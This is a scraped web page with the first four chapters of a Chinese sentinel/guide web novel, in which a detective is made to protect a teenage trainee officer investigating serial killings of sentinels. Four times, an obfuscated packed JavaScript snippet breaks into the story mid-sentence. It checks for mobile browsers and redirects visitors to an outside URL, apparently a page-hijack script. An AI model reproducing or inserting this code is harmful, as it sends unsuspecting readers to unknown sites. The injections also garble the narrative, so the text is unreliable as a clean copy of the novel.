《她被退休反派向导看上了!》 2. 第一章 第一章邻居终于不扰民可能是死了 “嗡。” 旧公寓里,一台手机突然亮起。 尼尔森.莱顿拿起它,扫了眼屏幕,发现是app自动推送的新闻。他翻了个白眼,把手机往床上一扔,不再理会。 尽管在刚刚那一瞥中,他看见了连环、杀人、分尸等字眼,但在经历连续加班之后,无论是连环杀人分尸,还是小行星明天撞地球,都已经不能吸引尼尔森的注意了。 现在是半夜两点。尼尔森在半夜两点才到家。 他曾经是个叱咤风云的通缉犯,现在却成了倒霉催的私家侦探。为了最近这笔委托金,他在外面蹲点了整整三天,才终于拍到了一张委托人丈夫出轨的证据,结果转眼就被身为哨兵的男人发现了。 身为拥有超强听觉、视觉等五感的特殊人类,哨兵有着极强的战斗能力和反应能力。但与此同时,他们又往往会因为过于敏感的感官而承受大量信息流,容易出现较大的情绪波动,严重的情况下甚至会失去理智,只剩下攻击本能。 这哥们虽然没有失去理智,但依然追着尼尔森撵了整整三个小时。 好消息是,尼尔森成功跑掉了,但坏消息是,他跑得太远了。尼尔森舍不得打车,于是又花了两个小时从圣卢赛特高楼林立的市中心回到了自己位于城市边缘的破公寓里。 他累得快死了。 这座公寓叫B21公寓,里面又破又旧,翘起的木地板踩起来嘎吱嘎吱直响。狭窄的房间刚好能挤下一张床和一对桌椅。尼尔森很久没吃东西,无奈房间里也早就弹尽粮绝,只能从冰箱里拎出瓶啤酒,坐在床边喝。 他倒是不着急睡觉,等困到不行的时候他自然会昏过去。只不过话又说回来了,住在这种隔音基本为零的老建筑里,想睡着也不是件容易的事情。 这栋公寓的半夜两点依然吵得要死,他天天都能听见楼上邻居永远把音量拉满的短视频。 而作为一个向导,尼尔森还能感知到更多。 向导作为能够感知和影响他人情感的群体,说起来也是和哨兵一样的共感者,地位却一直比哨兵低。从很久以前开始,向导存在的唯一意义就是用疏导能力辅助和安抚哨兵,用上整个人生去给易燃易爆炸的哨兵灭火。 而尼尔森不仅是一个向导,还是一个倒霉催的,不能使用主动使用能力,只能被动接受情绪的向导。 这栋楼里的居民生活大多不易,因此总是弥漫着大量的憎恨和愤怒。劳苦之人疲倦不堪,失意之人或麻木或痛苦,磕嗨了的人则癫狂又亢奋。 而以上三项,他楼上那个住户全都占。 所以他的邻居不仅在他耳朵里蹦迪,还在他脑子里狂轰滥炸,他睡个屁。 尼尔森把精神屏障拉到最高。这屏障经他亲测能抵挡国家哨兵机构“塔”中最尖端的共感者的入侵,却难以保证他的睡眠质量。 还好今天公寓相对安静了一点,至少他楼上没有人试图拆掉自己的家,也没有吵闹的电视,没人在磕药,也没有那种泥潭一样的负面情绪。 太好了,尼尔森想,看来今天他的邻居要不就是不在家,要不就是终于死了。 他一口气喝光了啤酒,高高兴兴地栽倒在床上,昏迷了过去。 “尼尔森!尼尔森·莱顿!!!” 第二天,尼尔森在一阵哐哐哐的砸门声里醒来。他睡眠不足,头痛欲裂,更让人恼火的是那个喊他的声音他认识。 要不是那扇破门再这么被砸下去就要真的破了而他还得全款陪,他宁愿忍着这拆迁一样的噪音假装不在。 “啊,罗德瑞克警员,早安,你好,今天天气真好。你来干嘛?” 尼尔森违背自己的意志拉开房门,用一个假笑迎接面前深色皮肤的护卫。这个五感觉醒不完全的共感者穿着与灰暗走廊格格不入的板正警服,左耳上是标志护卫身份的深灰色耳钉。 护卫是五感未全部觉醒的共感者,比如罗德瑞克,据尼尔森所知,就只觉醒了一种感官。 尼尔森认识他,主要是因为自己的私家侦探业务经常会触犯一些无关紧要的法律条款,然后导致自己被共感者调查部——即专门为管辖涉及哨兵向导等共感者的案件而成立的部门——抓去警局拘留。 至于有多经常——尼尔森认为他已经可以和罗德瑞克称得上熟人了。 “您好,尼尔森·莱顿先生。今天是阴天,天气并不好。”罗德瑞克一板一眼地跟他打招呼,然后单刀直入地说,“您的邻居死了。” “……哪个邻居?” “正对着您楼上的那位住户。” “哦,他啊。” 他真死了啊。尼尔森看了眼天花板。可惜死人在圣卢赛特真的算不上什么新闻,昨天半夜还有连环杀人案的推送呢。 他无所谓地耸耸肩:“好吧,看了接下来一段时间我的睡眠都会有保障了。然后呢?你想进来吃块炸鸡吗,四天前的。” “我不想,谢谢您。昨天有人在奎因河边的发现了他的尸体,经检验他死在三天前。” “这跟我有什么关系?我在外面跑了三天多的业务,什么都不知道。想找线索你不如直接上楼去搜。”这对话有够莫名其妙的,尼尔森有种不好的预感,他赶紧抓住门把手,把门往回带,“没事的话我继续睡觉去了。” “这跟您没有任何关系。这是寒暄。布列塔尼部长认为我不够亲切,建议我在办案前和当事人进行短暂的闲聊。”罗德瑞克说。 他掏出手铐扣在尼尔森伸出的手腕,另一只手从怀里掏出警官证:“我来是因为您在过去一星期内涉嫌两起侵犯隐私,一起跟踪,三起非法入侵和两次扰乱交通,且被害人都为共感者。尼尔森.莱顿,您将被共感者调查部强制拘留,保释金两千磅。请和我去一趟圣卢赛特警局。” “……扰乱交通我可以解释,那会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356892|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿我在逃命,我觉得那是紧急避险,等等,别——” 圣卢赛特警局的单人审讯室里,尼尔森保持着两只手被拷在身前的姿势,翘着腿坐在邦硬的铁椅子上,开始望天。 妈的,又来了。 他知道罗德瑞克正在单向玻璃的另一侧看着他。说实话,他来这里太多次,要不是共感者调查部神经病太多,他都想干脆住在这里了。 “早上好,尼尔森。”一个柔和的声音响起。瑞莎娜.布列塔尼,圣卢赛特共感者调查部的部长从门外走进来。她是个气质温婉的女性哨兵,有柔软的浅棕色卷发和温柔的灰色眼睛。 她的手里端着一个托盘,上面是一套陶瓷茶具和一盘烤曲奇。 冰冷的金属房间里瞬间飘满红茶和甜点的香气。 “我猜你还没吃早餐。要不要尝尝我新做的曲奇?柠檬白巧克力味,大家都很喜欢。”她将托盘放到桌上,笑眯眯地说。 即使是这么一个漂亮温柔的女性,对犯人好到这个份上也足以让人毛骨悚然。尼尔森第一次碰见这情况的时候还以为曲奇里下了毒,宁死不从,后来才知道这竟然真的只是她的爱好。 他戴着手铐姿势别扭地拿起曲奇,对罗德瑞克炫耀般晃了晃,开始白嫖早餐。 “我很感激你对我的青睐,部长女士,”他嚼着饼干对布列塔尼说,“但你真的没必要每次都用这种方法把我弄过来。你可以直接跟我说有活要我干,然后我会自己来找你的。” “您被逮捕是因为你在短时间内多次扰乱治安。”布列塔尼坐在对面,面带微笑,“至于我要给您的任务,那是一个将功赎罪的机会。一个小忙抵消您的保释金和上个星期的违法记录,双赢。” 哈,果然,看来罗德瑞克这次又白抓了。 “慢着。”尼尔森愉快地用拷在一起的手比了个叉,熟练地进入讨价还价环节,“你的小忙每次都要折腾掉我半条命,一个星期的违法记录是不是廉价了一点。” “我相信两千磅保释金不是个廉价的数目。” “你大可以花两千磅去雇佣别人。” “那么,您接下来一个星期闯的祸和应付的罚金,调查部也可以视而不见。” “一个月。” “两个星期。”布列塔尼笑得如沐春风,“要是您还是觉得不划算,就准备好因为扰乱社会秩序而去法庭受审吧。” “好吧好吧……又有什么案子要我查?”尼尔森仰倒在椅子里。他就知道这次逮捕又会被对方利用。 类似的交易他和布列塔尼进行过很多次,通常,布列塔尼会要求他想办法搞到一些复杂案件的线索和证据,甚至牵扯到一些帮派纠纷和政府腐败。这对一个专职是调查出轨的私家侦探来说很危险,但尼尔森没得选,毕竟高额保释金的威胁更加迫在眉睫。 “嗯……这次不需要您查案。”布列塔尼的回答出乎意料,“我想请您保护一个人。” 3. 第二章 “这倒是新的业务。我要保护谁?污点证人?”尼尔森稍微拿出来了一点认真的态度。 “一个女孩。”布列塔尼说。 “什么?” “一个年轻的,纯真的,初来乍到的小女孩。她刚孤身一人来到圣卢赛特。”布列塔尼面露忧伤,“我不敢想象她一个人的样子,这里对她来说太危险了。” “什么小女孩……你要我去带小孩吗?!”尼尔森翘着的腿抖了一下,差点连人带椅子翻倒在地。 他盯着布列塔尼,试图找出她在戏弄自己的证据:“什么意思,你的共感者调查部里找不出一个比我更适合带孩子的人来吗?罗德瑞克不行吗?他虽然是块木头,但你应该知道他比我靠谱吧。” “相信我,无论哪一次,如果不是不得不请您帮忙,我都更希望看见您因为无法支付保释金而坐牢。”布列塔尼语气轻柔,表情诚恳。她递给尼尔森一份档案,第一行写着一个名字。 莱蒂斯.维克菲尔德。 尼尔森怀疑地看了布列塔尼一眼,边啃饼干边草草浏览了一遍内容。这个叫莱蒂斯的十七岁小姑娘是个护卫,来自圣卢赛特大区的一个乡下小镇维克镇。 她只觉醒了嗅觉一种感官,还没完成共感者的基础训练,没从圣所结业,评级也很低。昨天刚到达圣卢赛特。 尼尔森过去的生活其实大部分都精彩得超乎想象,但面对这份档案,他还是不得不承认自己想象力有限。 “一个离家出走的小姑娘?” “一个被调来圣卢赛特共感者调查部的实习警员。她被委任了一个疑似连环杀人的重案。您楼上那位邻居就是第二位受害人。” “什么?”尼尔森脱口而出。他今天说的“什么”有点太多了,这显得他有点蠢,但他很难找到别的表达。即使他不了解警局系统内部的委任流程,他也知道这完全是扯淡。共感者调查部的警员要经过刑侦训练才能任职,一个十七岁的小孩根本什么都不懂。 让她直接去查连环杀人案,差不多等于让刚会骑自行车的人去开方程式,追求的就是一个车毁人亡。 “她一个星期前才填写了从圣所结业后的志愿,是想做调查警员没错,但是她家乡维克镇的警员。”布列塔尼端起一杯红茶,“但是我们的局长奥夫先生在昨天突然将她调来了圣卢赛特的共感者调查部,将整个案件全都交给了这个孩子负责。” “所以她被调到了你的部门,你却只能找个外人来保护她,为什么?” “奥夫先生在今早下达来一份文件,禁止其他共感者调查部的成员参与调查。理由是怀疑我的部门与外部势力勾结,可能徇私枉法。” “嗯?”尼尔森意味深长地挑了下眉,鉴于他正坐在这里和布列塔尼谈条件,那个局长的说法倒也没错。但布列塔尼的交易从来都是为了调查和搜证,根本谈不上徇私。想到这里,他轻轻笑了一声: “我明白了……看样子这案子确实很危险,你们局长还真是想尽了办法。没劝过那小姑娘放弃这事儿吗?” “莱蒂斯认为她必须担起这个责任,否则就没有人去追查真相了。” “真可惜,看来她不太聪明。” “请注意您的言辞。”布列塔尼的笑在红茶的水雾中显得不那么真切了,“我无权评价奥夫先生,但莱蒂斯是无辜的。她不该因为这个案子而陷入危险。跟在她身边,保护好她,尼尔森。她是个好孩子。” “好吧,我答应你。”尼尔森两手一摊,“看在那两千磅的份上。” “别让她受伤。” “没问题。” “要时刻关注她的精神健康。” “……我尽力。” “一定要阻止她做太危险的事情,但也别对她太严格了。别打击她的干劲,但记得提醒她注意休息。别让她饿着,也别让她冷着。白教堂和老伯爵大街附近太乱,要是她要过去的话一定要陪着她——” “停。”眼看布列塔尼的要求越来越离谱,尼尔森及时止损地打断了她,“别太过分,布列塔尼。你是来找我当保镖的,不是来给小孩当妈的。你对你手下过度的保护欲真的该收一收了。” “咦,我有吗?”布列塔尼眨眨眼,好像真的后知后觉一样,“可保护好我的警员们是我的职责,不是吗?每一个在我部门的孩子对我来说很重要,所以我才请您来帮忙——毕竟您对圣卢赛特非常熟悉,而且从未背叛过我。我相信您这次也一定不会让我失望。” 她看起来和颜悦色,像是一个老师在和叛逆的学生谈心。然而在尼尔森眼中,一只约四米的非洲象的影子突然出现在了她的身后,连房间都容不下它的体积。 这只介于实体与非实体之间的精神动物——布列塔尼精神的具象化此时正高昂着头发出威胁的咆哮,巨大的象牙横在尼尔森头上,像把随时会落下的砍刀。 “……” 即使这只大象不是粉色的,尼尔森也决定对它视而不见。他以投降的姿势举起双手: “都行,都行,一定不会让你失望……最后一个问题,既然有禁令,我该以什么身份跟着她?” “一个热心的侦探怎么样?您因为邻居的死亡而主动介入这次事件——奥夫先生虽然禁止共感者调查部查案,但并没有禁止热心群众参与。”见事情终于谈妥,布列塔尼轻快地一拍手,房间里的大象消失了,她的语气也活泼起来。 “好啦,尼尔森.莱顿先生,曲奇时间结束。我现在就来解开您的手铐。小莱蒂斯就在警局呢,我们一起去见见她吧。对了,她自尊心很强,别告诉她是我找您来的。” “悉听尊便。”尼尔森从椅子上站起来,在临走前活动了一下自由的手腕,对罗德瑞克比了个双倍的中指。 尼尔森觉得,他要保护的对象应该是个腼腆的乖乖女。 这不是推理,而是从布列塔尼的描述中得出的必然结论。一个纯真的,需要保护的,初到大都市的乡下女孩,任谁都能在脑子里想象出一个穿着朴素,不知所措的小姑娘,并且还保留着那种在中世纪就已经过时的双麻花辫和道德感。 他正站在审讯室的门外,任由警局员工们的烦躁情绪不断冲击着他的精神屏障。布列塔尼去共感者调查部喊人了,鉴于那个部门从上到下都看不惯他,他也懒得进去和他们耍嘴皮子。 而且审讯室和旁边的拘留室都是打发时间的好地方,突出的就是一个神经病人欢乐多。就这么一会儿,他已经看着好几个滑板仔,酒蒙子,满身斗殴伤痕的混混和突然大笑大跳的精神病患走进走出了。 又个一身黑的少女从他面前经过,看起来像是个被刚被放出来的街头不良。她个子不算高,但看着也不太好惹。 她穿着件短外套和工装裤,黑色的长发绑成一束的高马尾,脚上是双挂着银链的高邦马丁靴,整个人干练又利落。左耳上深灰色的耳钉说明她是个护卫。 尼尔森歪过头向她后面看,布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356893|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列塔尼怎么还不出来。 布列塔尼出来了。她跟在那个少女身后,指着尼尔森:“莱蒂斯,这位就是在等着你的人。” 莱蒂斯? 能混进违法分子的少女停下脚步,侧仰着头投来目光,尼尔森看见了一双倔强的墨绿色的眼睛。她外套里面的短上衣还露出了一截腰腹,上面是腹肌,清晰可见的腹肌。 尼尔森人傻了。 你跟我说这是个单纯无助,需要保护的乡下小女孩? “尼尔森,这位就是莱蒂斯小姐,这起连环杀人案的负责人。”布列塔尼亲昵地拉着少女,像是过度溺爱的姐姐拉着自己的妹妹。 她眨眨眼,炫耀似的小声说:“这身衣服是我昨天给她买的,很合适吧。” “太合适了。她看起来像是信天翁码头那边的帮派喜欢的那类打手,每天帮老大沉二十个人到水里。” 尼尔森发誓他看见了布列塔尼的大象一闪而过。而少女皱起眉,倒是终于转过身来正脸瞧他了。 她长得很漂亮,仔细看来还稚气未脱,只不过故作严肃的表情和下撇的嘴角让她有种浑身长刺似的攻击性。尼尔森于是更正了描述:“嗯,好吧。她大概杀不了人,所以只能每天帮帮派老大把二十个人打到半身不遂。” “他被帮派追杀过,有心理阴影。”布列塔尼开始打圆场,虽然就是她害得尼尔森被追杀的,“莱蒂斯,就像我之前告诉你的,这位先生是个侦探,是个有正义感的好人,经常从事一些危险的工作。他和他的邻居曾经是非常要好的朋友,所以对邻居的去世非常痛心,想和你一起调查这起案件。” 她完全是在睁眼说瞎话,但她看起来是那样的和善又可靠,百分之九十九的人即使有所怀疑,最终也会相信她说的一切。剩下的百分之一,如尼尔森,只会觉得她恐怖。 她肯定是故意时不时放出精神动物来恐吓他的,但尼尔森早八百年就扔了那个象征向导身份的白色耳钉,也根本用不了向导的能力。她到底是怎么看出来尼尔森是向导的?尼尔森至今都没搞清楚。 他不知道莱蒂斯信没信这番鬼话,但她正在认真地打量他,带着他能感知到的强烈好奇。 尼尔森推了推平光眼镜,决定至少在布列塔尼面前表现出友好的态度,于是眯起眼睛对她微笑了一下。他的眼睛比起浅棕色更接近浅金色,像透过玻璃窗的阳光,要是带上笑意,的确是有些迷人的风度。 而莱蒂斯看着眼前这个穿着褐色风衣,不修边幅,棕发散乱的男人,一本正经地问布列塔尼道:“可是,他看起来是个不务正业,品行不端,喜欢耍小聪明,完全不靠谱的人啊?” “……”尼尔森看见布列塔尼憋笑了。 “他的确是个不务正业,品行不端,喜欢耍小聪明的人。”布列塔尼发自内心地重复了一遍,还特地歪着头对尼尔森笑了一下,“但相信我,他还算得上可靠。我相信你们一定能好好合作的。他叫尼尔森.莱顿,和他问个好吧。” “好吧……”莱蒂斯不自在地迟疑了一下,然后态度端正地伸出手,用十分正式的语气道,“您好,尼尔森.莱顿先生。我是实习警员莱蒂斯.维克菲尔德。希望我们合作顺利。” “你好啊,莱蒂斯。”尼尔森笑得更加开朗了。他一把握住莱蒂斯的手:“我是尼尔森.莱顿,是你上司找来的保镖。你上司觉得你能力不行,脑子不好,不仅查不出案还随时可能把自己作死,所以特地让我来看着你。” 4. 第三章 “我不需要你保护。”莱蒂斯说,“别跟着我。” 她和尼尔森站在通往B21公寓的地铁里,随着车厢摇摇晃晃。现在接近中午,正好是没有座位但又算不上拥挤的时间段,莱蒂斯后半句一出,好几个乘客都用怀疑的目光看向了尼尔森。 尼尔森完全不在意他们,他当私家侦探的时候在公共厕所的男厕外蹲过点,从此再也不惧任何人的目光。他神态自若地站在莱蒂斯旁边:“得了吧,你刚刚差点坐错线路。三号线和七号线一个往北一个往西南,你倒是可以一路坐城市另一端。” “我下次不会了。” “我们可以拭目以待。” 莱蒂斯不理他了,但尼尔森能感觉到她恼怒的情绪。他会跟着她从圣卢赛特警察厅出来纯粹是怕自己被布列塔尼的象牙捅个对穿,但等进了地铁站,看见莱蒂斯被圣卢赛特堪比法阵的地铁线路绕晕时,他才意识到布列塔尼的担心居然还确实有点道理。 而且逗小孩其实挺好玩的。 地铁窗外一片漆黑,莱蒂斯在思考什么,尼尔森则掏出了手机。 各大APP的今日推送相当统一:无头的诅咒!连环哨兵碎尸案! 这不是昨天半夜就在推送的那个案子吗?不会他们要调查的就是这个吧。尼尔森想着,终于点了进去。 众所周知,媒体会想尽办法吸引流量,而死人也谈不上什么隐私,于是尼尔森在新闻页面里看见了两个受害者的身份信息和照片。 海克.雷德和瓦夫.埃蒙,前者他不认识,后者是他仅有过几面之缘的领居。很好,看来就是这个案子,而且尼尔森现在终于知道他那煞笔邻居的名字了。 这两个死人的大头照还是高清的,前者黑发黑瞳,阴沉无比,后者染了红色刺头,脸上还有纹身,形成鲜明对比。报道说他们之间没有任何关联,唯一的共同点是哨兵的身份和尸体的状况。 他们都被肢解了,碎尸分别于一个星期前和一天前在横穿圣卢赛特的运河——奎因河的河畔被发现,勉强能拼出完整的尸体,但都没有头。 这起案子起初没有得到什么关注,直到它变成连环的。尼尔森都能想象得出事情在今天才登上头条的过程。圣卢赛特的治安一向惊天地泣鬼神,没人会在乎一堆在奎因河边的碎尸。虽然没有头,但也可能只是没找到,算不上什么爆点。 一个星期后,第二堆碎尸出现了,也没有头,有意思了,这难道是一场连环杀人案?再向警局里的线人打听消息,验尸结果出来了,两个死者都是哨兵——共感者案件! 太棒了,这新闻人人都爱看,让我们在APP里发起“找到失踪的头”的活动,想要参与的朋友请加上话题“#找到头”。 尼尔森翻了翻评论区和TAG,五花八门的瞎猜和在奎因河边满地找头的短视频让他也开始觉得好奇了。本着人类本能的八卦之魂,他把手机放低到莱蒂斯面前:“关于这个案子,共感者调查部内部有什么线索?” 莱蒂斯看了眼他的手机,抬头继续看着黑漆漆的地铁车窗:“这是机密,我不应该向无关人员透露。” “这话可真让人伤心,我不是你的合作伙伴吗?” “你已经说过你不是了。”莱蒂斯板着脸,但散发着低落的情绪,“那只是布列塔尼部长为了让我好受一点的说辞而已。” “不全是,至少我真的是个侦探。” 虽然主业是查出轨。 “所以呢?” “我是一个受布列塔尼信任的侦探,这还不够吗?你想想看,我要保护你就必须一直陪在你身边,陪在你身边就肯定会不免涉及案情。她让我来不就是默认我可以了解这些信息了吗?” “唔……”莱蒂斯的睫毛垂下了一点。 尼尔森不用减弱精神屏障也能感觉出她在动摇:“而且讨论案情是理清线索和找到灵感的最好方法,我可以和你一起整理思路。我们侦探——包括那位福尔摩斯和他的华生——都是这么干的。” 莱蒂斯抬起眼来看他:“真的?” 当然是假的,他只是来吃瓜的。 尼尔森露出真诚的笑容:“真的。” “唔……” 莱蒂斯沉默了几秒,尼尔森开始在心里倒计时。这小姑娘虽然看着凶,但确实是没离开过塔的乡下小孩,他好久没遇到这么好骗的人了。他再次意识到为什么布列塔尼要费尽心思找人保护她,像她这样的女孩在圣卢赛特不出三天就该离奇失踪了。 三,二,一—— 莱蒂斯往他身边靠了靠:“好吧。我告诉你。” “这个案子的凶手也是共感者,而且大概率是哨兵。这件事还没有上新闻。”这节车厢里没有打着耳钉的共感者,地铁运行的翁鸣声成了很好的掩护。少女态度谨慎,声音冷静: “他们是被绞死的,先前的调查认为凶手的精神动物应该是蟒科的生物。他们受到了超过人类血压的外部压力,被迫停止了人体循环,死于窒息。这是蟒科生物最常见的攻击方式。” 精神动物是一种量子态的存在,能在一定程度上反应共感者的性格。哨兵的精神动物大多是猛兽,向导的则是温和的动物。 不完全觉醒的共感者,如护卫和伴侣,则没有精神动物。 精神动物的强度和共感力息息相关。如果死者们的精神屏障足够坚固,这样的攻击是可以被挡下的。要是他们够强,说不定还能反杀掉那个凶手。 只是这两个人的结局已经表明他们技不如人。 “凶手一定是个非常强大的共感者。”因此,莱蒂斯这么总结道,“调查部还没找到案发现场,所以能查出的信息很少。要是凶手是个普通人,说不定还能通过体型和攻击手法来缩小范围,但共感者的实力和体型没有联系,反而增加了侦查难度。” “分尸的工具是什么?” “电锯。” “好东西,很有我们当地特色。”尼尔森评价。电锯的噪音在莱蒂斯的家乡说不定还能成为关键线索,但在圣卢赛特,无论白天晚上到处都是莫名其妙的响声,连火拼都没人在乎,更别说电锯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356894|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声了。 像是在呼应尼尔森的想法一样,地铁的翁鸣声变得更吵了。尼尔森习以为常,低下头和莱蒂斯说话:“受害人呢?有什么信息?” “请离我远一点。”莱蒂斯皱了皱眉,不悦地瞟了他一眼,“他们都是无业状态,住址也完全不在一个区域,如新闻里所说的,没有任何关系。” “但硬要说的话,他们确实有个共同点。他们的登记身份都是普通人,也都没戴标识耳钉。是法医解刨后发现了他们的腺体,才确认他们都是哨兵的。” 啊,潜逃的哨兵,不是犯过事就是在从事非法行业,也有可能两者皆有。尼尔森默默在脑子里记下,因为莱蒂斯的嫌弃而无奈地站直身体。 “人际关系呢?情人,朋友,家人,有线索吗?” “不多。两个被害人都独居,无业,档案也都是伪造的,我们几乎对他们一无所知。所以布列塔尼部长才建议我从他们的住所查起。”莱蒂斯小声嘀咕,“要是你真的是那个瓦夫.埃蒙的朋友就好了。” “真抱歉让你失望了。”尼尔森一点都不抱歉。 莱蒂斯懒得理他,接着说:“唯一的发现是,海克.雷德,也就是第一位受害者,有一个妹妹。” “哦?妹妹?漂亮吗?” “……情报部的工作人员查了海克.德雷名下的账户,发现他之前多次向伊莎医学院汇款,还清了一个叫卢娜.雷德的小姐的学贷。” “在我调来之前,共感者调查部联系过卢娜小姐,但她说她的哥哥在她很小的时候就失踪了,她六岁之后就再也没和他有过任何联系。布列塔尼部长本来计划让她去警局面谈,但没来得及。” 好吧,虽然不知道妹妹漂不漂亮,但现在基本可以确定海克.雷德是一个从事非法产业的哨兵了。而自己那邻居,估计也大差不离。尼尔森想。 “海克.雷德的资金来源呢?” “不清楚。部长说如果给情报部更多时间,说不定会有新发现,但禁令之后,情报部就不再提供情报了。这就是现在的所有线索。我只推测得出这两个用着假档案的受害者,其实也在从事非法活动,仅此而已。” “啊,我和你想得一样。”尼尔森说。就一个在乡下圣所受训的未成年护卫而言,莱蒂斯能得出这样的结论已经不错了。 虽然她还错过了一些显而易见的东西,不过尼尔森不打算提醒她。他是来带孩子的,不是来查案的。真相意味着危险——他巴不得莱蒂斯半途而废。 地铁在这时停了下来。门打开,进来了一些人,又关上了。拥挤起来的车厢不再适合谈论凶杀案,莱蒂斯又陷入了思考,尼尔森又开始玩手机,两个人一副半生不熟的样子并肩而立。 又过了一阵,尼尔森感觉到莱蒂斯戳了戳他的肩膀。 “我们已经坐了快半个小时了,还有多久才到你公寓?”莱蒂斯问他。 “哈哈。”尼尔森笑了,他就等着她问呢,“还有五十分钟!这里是圣卢赛特,要命的通勤是大城市的一环,不爽不要来。” 5. 第四章 “联系公寓管理员?这破楼哪有什么公寓管理员。”尼尔森说。他掏出开锁工具,熟练地撬开了他楼上邻居的门锁。 “怎么了?”他转头对上莱蒂斯怀疑的眼神,“我可是个私家侦探,开门是举手之劳,不用谢。” 他把门推开,绅士地让莱蒂斯先进去,然后顺理成章地在门边摸鱼。他这煞笔邻居的房间乱得堪称奇观,他是真不愿意进去。 房间很小,但瓦夫.埃蒙做到了物尽其用。他在厨灶上扔衣服,在床上放食物,满地的快餐盒和食物残渣让人无处落脚,床脚甚至还有好几个碎掉的酒瓶。一盏昏暗的顶灯照着这个狭小的空间,似乎从没打开过的窗户看样子就快要被这里面发酵出的怪味撑爆了。 莱蒂斯紧锁着眉头在房间里东翻西找,看得出房间里又酸又难闻的味道让她非常难受,但她还是凭借着自己的嗅觉有目的地寻找着什么。 尼尔森看见她打开了厨灶下面的小冰箱,然后痛苦地闭上了双眼,啪一声又把冰箱关上了。 “他怎么可能在这样的环境里独居?”莱蒂斯不可置信地看着那扇冰箱门,“一个哨兵住在这种又脏又乱又难闻的地方,还没有向导疏导,他的感官绝对会过载的。” 尼尔森知道答案,但只是敷衍地说了一句“哨兵的办法比你想象得多”。他站在这里只是为了防止莱蒂斯突然翻出什么危险的东西,像他邻居这种人,在家里放一打手雷都是有可能的。 莱蒂斯从垃圾堆里站起身来,这个房间里的味道总让她觉得有什么不对。起初她以为是食物变质,但除了那种味道外,里面似乎还混进了别的东西。 她闭上眼睛,站了几秒,然后走向一个倒扣着的外卖盒。 她掀开这个纸盒子,底下是一团粘糊糊的咖喱土豆,而在这团剩饭的角落,伸出了一小截管状的物体。 莱蒂斯把它抽出来。那是一支注射器。 这下莱蒂斯也知道答案了。她回头看向尼尔森,尼尔森像是明白她在想什么一样点点头: “对啊,就是药。他靠磕药来麻痹五感。沦落到这种地方的哨兵可住不起白噪音室,但我说了,他们的办法比你想象得多。你现在闻到的味道可不只是垃圾造成的,起码混了三种药吧。” “……他磕得频繁吗?” “没有哪天不磕,吵得要死。我估计向导素都已经没办法稳定他的精神了。”尼尔森指了指地板,那下面就是他自己的房间,“你手里那玩意地上肯定到处都是,但这儿太乱了,你想全找出来的话我就帮不上忙了。” “不需要。”莱蒂斯说。她把那支注射器洗干净,忍着恶心记住了它上面附着的味道。她只觉醒了嗅觉一种感官,但她的嗅觉在共感者里也算得上灵敏,能轻易在混乱的气味里分辨出目标。 很快,她在房间的各个角落都搜出了带有那种酸臭味的东西。 十几只注射器和一大叠白色塑封袋被摆在桌面上。莱蒂斯拍了照,又把一只注射器和一只小袋子分别用包里的塑封袋装了起来。 “还挺像那么回事的。”尼尔森笑了一下,“你加油干活吧。” 鉴于莱蒂斯刚刚翻遍了房间还没被炸飞,这里应该还算得上安全,他也什么没必要在这里继续守着了。 他对莱蒂斯愉快地挥挥手。 “我下楼吃午饭去了。拜拜。” 莱蒂斯在尼尔森吃到一半的时候才从楼上下来。 尼尔森正在在自己的公寓里嗦一盒速食意面。莱蒂斯人还在外面,他就感觉到嫌弃的情感在敲打自己的精神屏障。 “不至于吧。我房间不是比楼上干净多了吗?”看见莱蒂斯一脸排斥地推开门,尼尔森为自己辩护。 他的公寓最多只能称得上不整洁,椅子和床上是有几件没折叠的衣服,桌面和地上是有一堆乱七八糟的文件,好吧,墙上还贴了些照片和线索什么的,但这都不是什么大问题吧。 “没差。”莱蒂斯冷酷地评价。她也和尼尔森刚刚一样选择站在门边,看起来完全不想进屋:“我查完了。该去下一个地方了。” “别急嘛。”尼尔森悠闲地坐着,转着叉子卷起意大利面,“先说说有什么发现?” “瓦夫.埃蒙是个瘾君子哨兵,生活堕落混乱,靠磕药避免过于发达感官带来的痛苦。” “我的意思是说点我不知道的发现。” “……我不知道。”莱蒂斯停顿了一下才说,“我没有找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 